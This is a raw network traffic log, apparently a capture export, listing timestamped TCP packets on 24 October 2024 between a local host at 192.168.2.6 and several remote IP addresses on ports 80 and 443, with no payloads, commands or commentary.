Oct 24, 2024 11:02:47.925811052 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925826073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925827026 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925841093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925848961 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925857067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925860882 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925867081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925879955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925879955 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925894976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925899982 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925911903 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925913095 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925924063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925925016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925935984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925945044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925949097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925961018 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925971985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925977945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925985098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925995111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925996065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926011086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926011086 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926023960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926035881 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926037073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926048040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926059008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926069021 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926070929 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926079035 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926083088 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926096916 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926098108 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926107883 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926112890 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926121950 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926132917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926141024 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926146030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926157951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926163912 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926171064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926182985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926188946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926194906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926206112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926208973 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926219940 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926218987 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926232100 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926244020 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926250935 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926255941 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926269054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.926282883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926299095 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.926311016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.961153984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.961203098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.961260080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.961291075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.961302042 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.961328030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.961347103 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.961427927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.961585045 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.961638927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:49.689590931 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:49.689634085 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:49.689722061 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:49.690934896 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:49.690948963 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:50.283499956 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:50.284178019 CEST	49881	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:50.430582047 CEST	80	49881	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:50.430653095 CEST	49881	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:50.430731058 CEST	80	49848	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:50.430787086 CEST	49848	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:50.430936098 CEST	49881	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:50.436759949 CEST	80	49881	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:50.542102098 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:50.542185068 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:50.547368050 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:50.547409058 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:50.547703981 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:50.590162039 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:50.614433050 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:50.655339956 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.187382936 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.187411070 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.187447071 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.187463999 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.187468052 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:51.187484980 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.187495947 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.187553883 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:51.187586069 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:51.188630104 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.188653946 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.188694954 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:51.188698053 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.188755989 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:51.188905954 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:51.188920975 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.188950062 CEST	49877	443	192.168.2.6	104.102.49.254
Oct 24, 2024 11:02:51.188956022 CEST	443	49877	104.102.49.254	192.168.2.6
Oct 24, 2024 11:02:51.343380928 CEST	80	49881	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:51.345242977 CEST	49881	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:51.347148895 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:51.347559929 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:51.353037119 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:51.353218079 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:51.353272915 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:51.353377104 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:51.353606939 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:51.359541893 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257337093 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257370949 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257460117 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.257481098 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257486105 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.257494926 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257507086 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257524014 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.257540941 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257544041 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.257553101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257564068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.257584095 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.257597923 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.257642031 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257653952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257666111 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.257687092 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.257730961 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.262842894 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.262926102 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.262948990 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.262984037 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.263052940 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.263070107 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.263098001 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.263114929 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.411112070 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411147118 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411236048 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.411269903 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.411298990 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411349058 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.411405087 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411454916 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.411499023 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411535025 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411555052 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.411581993 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.411609888 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411659002 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.411834955 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411883116 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.411911011 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411952019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.411973000 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.412002087 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.412026882 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.412075043 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.412473917 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.412532091 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.412559986 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.412611008 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.412672043 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.412707090 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.412729979 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.412756920 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.412782907 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.412832975 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.413110971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.413163900 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.413187981 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.413222075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.413252115 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.413269997 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.413352013 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.413388968 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.413408995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.413435936 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.413981915 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.414040089 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.414062023 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.414097071 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.414122105 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.414156914 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.417506933 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.417543888 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.417593956 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.417653084 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.564762115 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.564798117 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.564812899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.564868927 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.564884901 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.564899921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.564963102 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565013885 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565031052 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565063000 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565073967 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565103054 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565110922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565135956 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565149069 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565162897 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565172911 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565187931 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565198898 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565237045 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565392017 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565435886 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565459967 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565510035 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565529108 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565562010 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565587997 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565603971 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565618992 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565634966 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565670967 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565670967 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565751076 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565793991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565819979 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565835953 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565856934 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565865040 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565876007 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565888882 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.565901995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.565922976 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566118002 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566155910 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566168070 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566181898 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566211939 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566220045 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566257954 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566272974 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566293955 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566304922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566314936 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566329002 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566339016 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566353083 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566365004 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566378117 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566394091 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566409111 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566421032 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566473961 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.566966057 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.566993952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567008972 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567018032 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567028999 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567044973 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567054033 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567078114 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567089081 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567104101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567120075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567138910 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567138910 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567152977 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567161083 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567177057 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567193031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567200899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567210913 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567235947 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567862034 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567878008 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567894936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567904949 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567918062 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567934036 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567945004 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567960024 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567975998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.567986012 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.567996979 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.568007946 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.568018913 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.568049908 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.570396900 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.570413113 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.570442915 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.570455074 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.718745947 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.718832016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.718883991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.718913078 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.718931913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.718962908 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.718985081 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719005108 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719053984 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719089031 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719109058 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719137907 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719161034 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719203949 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719218969 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719249964 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719274044 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719306946 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719345093 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719377041 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719394922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719446898 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719470024 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719502926 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719521999 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719546080 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719578981 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719613075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719635010 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719675064 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719706059 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719764948 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719780922 CEST	49887	80	192.168.2.6	185.215.113.16
